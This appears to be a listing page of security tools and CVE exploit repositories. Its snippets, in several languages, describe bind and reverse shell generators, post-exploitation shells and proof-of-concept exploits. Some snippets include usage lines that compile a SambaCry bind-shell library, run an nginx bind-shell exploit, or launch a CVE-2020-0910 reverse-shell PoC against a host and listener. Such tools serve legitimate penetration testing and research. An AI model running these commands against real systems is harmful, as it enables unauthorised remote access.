nginxhack

هذه أداة تستخدم استغلالاً يُعرف باسم CVE-2013-2028 لتنفيذ bind shell على الخادم الهدف الذي يعمل بـ Nginx 1.3.9 أو 1.4.0. يمكن تنزيله من هنا ستحتاج إلى تشغيله من سطر الأوامر الاستخدام: nginxhack target target port target bind port...

CVE-2024-21006_jar

CVE-2024-21006jar Référence du code d'exploitation : https://github.com/momika233/CVE-2024-21006 Ici, le code source a été compilé en un fichier jar pour faciliter l'utilisation. Le dossier lib contient les dépendances. Si vous souhaitez modifier le code source, vous pouvez le compiler vous-même...

CVE-2019-6467

CVE-2019-6467 BIND nxdomain-redirect لأغراض تعليمية فقط تشغيل root@kitploit: $ docker run --rm --name cve-2019-6467 -it -p 53:53/udp knqyf263/cve-2019-6467 استغلال استعلام عادي root@kitploit: $ dig @127.0.0.1 nxdomain.example.com يمكن استبدال nxdomain بأي شيء يعني اسم نطاق غير موجود. مثال:...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit استغلال SambaCry CVE-2017-7494 لاستغلال Samba bind shell بدون Metasploit إذا احتجت إلى تغيير المنفذ، فقط قم بتغيير السطر 68 من bindshell-samba.c وأعد التجميع: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o libbindshell-samba.so...

socks5

socks5 خادم وعميل Socks5/Socks5h يهدف هذا المشروع إلى إضافة دعم البروتوكول لـ Bridge، أو يمكن استخدامه بمفرده الاستخدام توثيق API مثال دعم أمر CONNECT دعم أمر BIND دعم أمر ASSOCIATE الترخيص...

CVE-2022-41114

CVE-2022-41114 Vulnérabilité d'élévation de privilèges du pilote Windows Bind Filter Driver. authentification| complexité| vecteur ---|---|--- non disponible| non disponible| non disponible confidentialité| intégrité| disponibilité ---|---|--- non disponible| non disponible| non disponible Score...

persisthunt

كشف الاستمرارية في لينكس، البحث والتحقيق وجمع الأدلة الملخص الاستخدام أمثلة على الاكتشافات جدول التقنيات الملخص يساعد persisthunt.sh على تسريع التحقيقات من خلال جمع الأدلة المستهدفة المتعلقة بالاستمرارية وإبراز الأنماط المشبوهة المرتبطة عادةً بتقنيات الاستمرارية في لينكس. يساعد السكربت في كشف...

CVE-2026-86124

AutoAgent (HKUDS/AutoAgent) contains an unauthenticated remote code execution vulnerability in its sandbox TCP command server . The server binds to all network interfaces and executes attacker-supplied commands as root without requiring authentication. An attacker who can reach the exposed commun...

PoC-for-CVE-2025-9074

CVE-2025-9074 - Preuve de concept d'accès non authentifié à l'API Docker 📌 Aperçu Ce dépôt fournit une preuve de concept PoC pour exploiter CVE-2025-9074 , qui implique une exposition non authentifiée de l'API Docker Engine sur le port TCP 2375. Un attaquant qui peut accéder à cette API exposée...

shellerator

شيليراتور Shellerator هي أداة بسيطة تعمل بواجهة سطر أوامر/واجهة مستخدم نصية تهدف إلى مساعدة مختبرَي الاختراق في توليد صدفات عكسية reverse، وصدفات ربط bind، وصدفات ويب web shells بلغات برمجة متعددة مثل Bash، Powershell، Netcat، PHP، ASPX، وغيرها. مشروع مشابه آخر لتوليد أوامر تنزيل الملفات في سطر...

postshell

PostShell PostShell est un shell de post-exploitation qui inclut à la fois un shell bind et un shell de back connect. Il crée un TTY entièrement interactif permettant le contrôle des tâches. La taille du stub est d'environ 14 Ko et peut être compilé sur tout système de type Unix. Captures d'écran...

revsh

revsh revsh هي أداة لإنشاء قذائف عكسية مع دعم طرفية، وشبكات VPN عكسية للـتنقل المتقدم، بالإضافة إلى نفق بيانات عشوائي. الأخبار 2018-08-09 : إصدار جديد. معظمها إصلاحات للأخطاء / الاستقرار وتوثيق أفضل لعملية البناء مع OpenSSL 1.1.0. انظر قسم التثبيت أدناه للحصول على تعليمات البناء المحدثة. نظرة عام...

CVE-2020-0910

CVE-2020-0910 Рабочий Proof-of-Concept эксплойта CVE-2020-0910 — обратная привязочная оболочка Reverse Bind Shell Протестировано с использованием Python2.7 Для установки: pip install -r requirements.txt Для запуска: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

One-Lin3r

One-Lin3r One-Lin3r هو إطار عمل معياري وخفيف الوزن يمنحك جميع الأوامر ذات السطر الواحد التي ستحتاجها أثناء اختبار الاختراق أنظمة Windows، Linux، macOS أو حتى BSD أو الاختراق بشكل عام، مع الكثير من الميزات الجديدة لجعل كل هذا آليًا بالكامل مثال: لن تحتاج حتى لنسخ الأوامر ذات السطر الواحد. لقطات شا...

GoSH

GoSH مولد شل reverse/bind بلغة Go الوصف تقوم هذه الأداة بتوليد ملف ثنائي Go يقوم بتشغيل شل من النوع المطلوب على المضيف المستهدف. يمكن تجميع الملف الثنائي لمنصات متعددة، ويدعم تعدد الأشكال الجزئي أسماء دوال فريدة ويمكنه استخدام بروتوكول UDP بدلاً من TCP الافتراضي. إذا أرسلت أمر DELETE عبر الاتصال...

msLDAPDump

msLDAPDump Outil d'énumération LDAP implémenté en Python3 msLDAPDump simplifie l'énumération LDAP dans un environnement de domaine en encapsulant la bibliothèque ldap3 de Python dans une interface facile à utiliser. Comme la plupart de mes outils, celui-ci fonctionne mieux sous Windows. Si vous...

dnsrecon

DNSRecon DNSRecon is a Python port of a Ruby script that I wrote to learn the language and about DNS in early 2007. This time I wanted to learn about Python and extend the functionality of the original tool and in the process re-learn how DNS works and how could it be used in the process of a...

CVE-2016-2776

CVE-2016-2776 قصة حزمة DNS، شرح تفصيلي وإثبات المفهوم لثغرة BIND CVE-2016-2776. http://blog.infobytesec.com/2016/10/tale-of-dns-packet-cve-2016-2776.html في هذا المستودع ستجد: إثبات المفهوم namedown.py وحدة مساعدة Metasploit namedown.rb...

Open WebUI 'LDAP Empty Password' - Authentication Bypass

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accep...

serval

باب خلفي على نمط Netcat للاختبارات الاختراقية وتحديات الاختراق سيرفال هو أداة ثنائية خفيفة وسهلة الاستخدام لتوليد قذائف عكسية ومربوطة للاختبارات الاختراقية أو تمارين الاختراق. سيرفال متعدد المنصات ويمكن تجميعه لكل من ويندوز 32 و64 بت ولينكس 32 و64 بت. ملاحظة: نظرًا لمرونة Rust، قد يكون من الممكن...